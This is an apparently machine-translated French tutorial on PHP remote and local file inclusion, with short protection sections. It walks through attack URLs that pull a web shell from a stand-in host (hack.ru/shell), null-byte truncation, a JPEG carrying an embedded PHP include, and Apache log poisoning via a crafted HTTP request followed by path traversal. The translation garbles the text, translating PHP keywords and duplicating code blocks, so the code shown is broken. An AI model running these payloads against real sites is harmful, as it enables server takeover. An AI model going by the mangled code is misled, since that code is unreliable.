PHP-inclure et comment protéger



  • Mondial comprennent la vulnérabilité
  • Protection contre inkluda mondiale
  • Local comprennent la vulnérabilité
  • logs apatcha
  • Protection contre inkluda locale


  • introduction

    Mondial comprennent la vulnérabilité

    Le plus grave de ces vulnérabilités du Web, mais malheureusement, ou heureusement trouvé aujourd'hui extrêmement rare. Pour attaquer , il est nécessaire, ce qui serait allow_url_include fonction a été activée, à savoir "On"
    La vulnérabilité permet à un attaquant d'exécuter du code de serveur php arbitraire.
    En PHP, il y a quatre fonctions pour inclure des fichiers dans un script PHP:

    * Inclure ();
    * Include_once ();
    * Exiger ();
    * Require_once ().

    fonction Include () comprend le contenu du fichier dans le script. Prenons l'exemple de code "double" vulnérable:
      <? Php
     
      if ($ _GET [ 'page' ]. '.php') 
      {
     
      include ($ _GET [ 'page' ] '.php'.); 
      }
     
      autre
     
      {
     
      include ($ file '.php'. ); 
      }
     
      ?>
    
    
    Avec les conditions , nous vérifions si le serveur via url élément passé du tableau $ _GET [ 'page'], l'appel inclut la fonction (). En raison du fait que la valeur du tableau $ _GET [ 'page'] est pas cochée pour l'existence, avec l'aide de file_exists () fonction, un attaquant peut monter une attaque:

    http://site.ru/index.php?page=http://hack.ru/shell Sinon , nous inkluda incluons ($ file 'php.. '); Voici exactement la même situation, il suffit d'écrire le code est un peu différent. Le fichier $ variable est pas
    Il était certainement un début et un attaquant pourrait exécuter à distance du code php:
    http://site.ru/index.php?file=http://hack.ru/shell include_once () est pratiquement identique à include (), à une exception près: avant de mettre le fichier de programme, il vérifie si elle a déjà été activé. Si le fichier a déjà été inclus, include_once () est ignorée, et sinon - il y a un fichier d'inclusion standard.

    <?php
    include_once( $file . '.gif' ); ?>
    ); <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    Dans cet exemple, un fichier qui est téléchargé automatiquement attribué extension '.gif'
    Débarrassez-vous de l'extension «.gif» de deux façons:
    1) si magic_quotes_gpc = Off vous pouvez utiliser le "zéro toxique" - 00% , ce qui permettra de réduire l' extension
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) , même si magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? Exiger () est similaire à la include (), sauf un - le fichier spécifié par le paramètre require (), est inclus dans le script, indépendamment de leur emplacement require () dans le script.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    L'attaque est similaire, mais dans ce cas , l'extension ne soit pas attribué à:
    http://site.ru/index.php?page=http://hack.ru/shell.php fonction require_once () charge le fichier dans le script une seule fois.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    L'attaque est similaire à ...

    Considérons maintenant une autre option inkluda. A ce moment, il est nécessaire que utilisé dans php.ini
    valeur du paramètre allow_url_fopen est égal à On, qui est la valeur par défaut.
    PHP Code:
      <? Php
     
      $ F = fopen ( "$ file.php ", "r"); 
    
      while (! feof ($ f) ) 
      {
     
      s = fgets de $ ($ f, 255);
     
      echo $ s;
     
      }
     
    
      fclose ($ f);
     
      ?>
    
    
    En raison du fait que le fichier $ variable n'a pas encore été déterminé, l'attaquant peut effectuer une attaque:
    http://site.ru/index.php?file=http://hack.ru/shell En conséquence, on obtient à nouveau un web-shell.

    L'exemple suivant - utilisation readfile () fonction
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Fonction Readfile () lit le fichier dont le nom est passé en paramètre, et affiche son contenu sur l'écran.
    En conséquence, on obtient à nouveau un web-shell:
    http://site.ru/index.php?file=http://hack.ru/shell maintenant considérer cette option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Utilisez la fonction implode (), nous combinons les éléments du tableau à une chaîne, en utilisant le fichier de fonction () obtenir le contenu d'un fichier dans un tableau. En conséquence, une fois de plus, nous avons un web-shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Protection contre inkluda mondiale

    Bien sûr , vous pouvez consulter le fichier d'exister en utilisant file_exists () et filtrer les caractères indésirables en utilisant str_replace (), mais je recommande d' utiliser un boîtier de commutation de conception:

      <? Php
     
      page globale de $;
     
      switch ($ la page)
     
      {
     
      cas '':
     
      include ( "pages / main.php") ; 
      break;
     
    
      cas «index»:
     
      include ( "pages / main.php") ; 
      break;
     
      case 'page1':
     
      include ( "pages / dossier / page1.php "); 
      break;
     
      case 'page2':
     
      include ( "pages / dossier / page2.php "); 
      break;
     
    
      par défaut:
     
      include ( "pages / hack.php") ; 
      break;
     
      }
     
      ?>
    
    
    Je recommande donc de modifier le fichier php.ini:

    allow_url_include = Off // Ne pas supprimer les fichiers inkluda
    allow_url_fopen = Off // interdire fopen pour ouvrir les liens
    register_globals = Off // désactiver l'initialisation des variables globales
    safe_mode = On // inclure safe_mode (à Hecker ne pas avoir accès au fichier / etc / passwd et comme lui)

    Local comprennent la vulnérabilité

    Aucune vulnérabilité moins dangereuse dans le web. Elle permet à un attaquant de inkluda fichiers se trouvant sur un serveur. Beaucoup de nouveaux arrivants qui rencontrent cette erreur de codage web cast question, parce que je ne sais pas comment procéder et dans quelle direction à creuser. Je vais vous donner un exemple général:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Proinkludit mondial est pas arrivé, parce que le fichier variable $ est attribué après le répertoire / include /
    Que peut-on faire?

    L'idéal est le cas où un site est, ou un forum ou une autre forme, qui peut être utilisé pour télécharger un fichier toute extension c.
    La question se pose - pourquoi avec une extension quelconque? Prenons par exemple un site fictif où il est possible de télécharger des avatars à travers le forum. Le forum est un script qui vérifie - si l'utilisateur est effectivement téléchargé la photo? Ouvrez la peinture et de garder une image par exemple en format jpg. Ensuite , ouvrez son ordinateur portable, puis d' écrire l'image de code < ? Php include ( "http://hack.ru/shell.php") ?; ?> En conséquence, nous obtenons environ l'image suivante:
    			
     yaShyaa JFIF `` Yay C           		 
     
    
                     $.  "# (7) 01 444 '9 = 82 <C .342yaY 			  
    
      2!  ! 222222222222222222222222222222222222222222222 22222yaA 6 6 "poison                    	
      Yad μ}! 1A Qa "q 2Ѓ'Ў # B ± B Rav $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ S'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      Yad μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3RR Brs
    
      4b $% à & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ S'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · zhziyktufhtschshschya ё№єVGDEZhZIYKTUFHTsChShSchvgde?  ch (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
    
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ЎЂ? Crate
     <Php include ( "http://hack.ru/shell.php") ?;  ?>
    
    Maintenant, vous pouvez télécharger une image sur le forum et il sera perçu par elle comme une image
    Revenons à la question de l'expansion. Pourquoi nous situons-nous quelqu'un? Le fait que la fonction include ()
    charge le code à partir d'un fichier dans le fichier exécutable. Voici un exemple:
    http://www.site.com/index.php?include=../forum/images/shell.jpg En conséquence, dans le fichier index.php, le code <? php include ( "http://hack.ru/ shell.php "); ?>

    logs apatcha

    Comme on le sait apache conserve un fichier journal httpd-access.log et httpd-error.log et toutes les demandes
    naturellement connecté et écrit dans les fichiers appropriés. Voici un échantillon de leur emplacement:
     /logs/error.log
     /logs/access.log
    
     / Logs / error_log
     / Logs / access_log
    
     / Var / log / error_log 
     / Var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / Var / www / logs / error_log
     /var/www/logs/error.log
    
     / Var / www / logs / access_log
     /var/www/logs/access.log
    
     / Var / log / apache / error_log
     /var/log/apache/error.log
     / Var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / Var / log / httpd / error_log
     / Var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / Apache / logs / error_log
     / Apache / logs / access_log
    
     / Usr / apache / logs / error_log / local
     /usr/local/apache/logs/error.log
    
     / Usr / apache / logs / access_log / local
     /usr/local/apache/logs/access.log
    
     / Accueil / www / logs / error_log
     /home/www/logs/error.log
     / Accueil / www / logs / access_log
     /home/www/logs/access.log
    
    Je vais vous donner un exemple à lokalhoste, je pense que beaucoup seront plus claires. Avec le programme InetCrack j'envoie un paquet de ce contenu:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    paquet de titres est enregistrée dans les journaux apatcha situé à l'adresse:
    Z:\usr\local\apache\logs\access.log \ logs \ access.log Ie est une telle ligne est écrite dans le fichier dont le nom se termine:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 ?; HTTP (" http://hack.ru/shell.php ")> 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Je pense que l'essence est claire. Il reste son proinkludit:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log / .. / .. / usr / local / apache / logs / access.log? Et obtenir un web-shell :)

    Protection contre inkluda locale

    Voici un petit exemple Comment protéger en toute sécurité:
      <? Php
     
    


    fonction stripslashes_for_array (& $ array)
    {
    reset ($ array);
    while (list ($ key, $ val) = chaque ($ array))
    {
    if (is_string ($ val)) $ array [$ key] = stripslashes ($ val);
    elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
    }
    retourner $ array;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ($ _POST);
    stripslashes_for_array ($ _GET);
    }

    if (isset ($ _GET [ ' fichier'])) $ file = $ _GET [ 'fichier'];
    autre
    {
    if (isset ($ _POST [ ' fichier'])) $ file = $ _POST [ 'fichier']; $ file d' autre = ''; } $ File = str_replace ( '/' , '', $ file); $ File = str_replace ( '' , $ file ''.); if (! file_exists ( "include" . '/'. $ file. '.php') || $ file 'index' ==) { $ File = 'nouvelles'; } include ( "inclure" '/' $ file '.php' ...); ?>

    Et donc, ce qui se passe alors? Chaque élément est vérifié stripslashes de fonction (). Il tue backslash. Vérifiez ensuite l'installation ou non la valeur de l'élément de tableau. Otfiltrovuem caractères non valides ( '/', '.') Fonction str_replace (). Si le fichier n'existe pas (vérifier en utilisant les file_exists () fonction) - attribuer une valeur de «nouvelles» de la variable = fichier $. Dans d'autres cas (lorsque le fichier existe) inkluda il.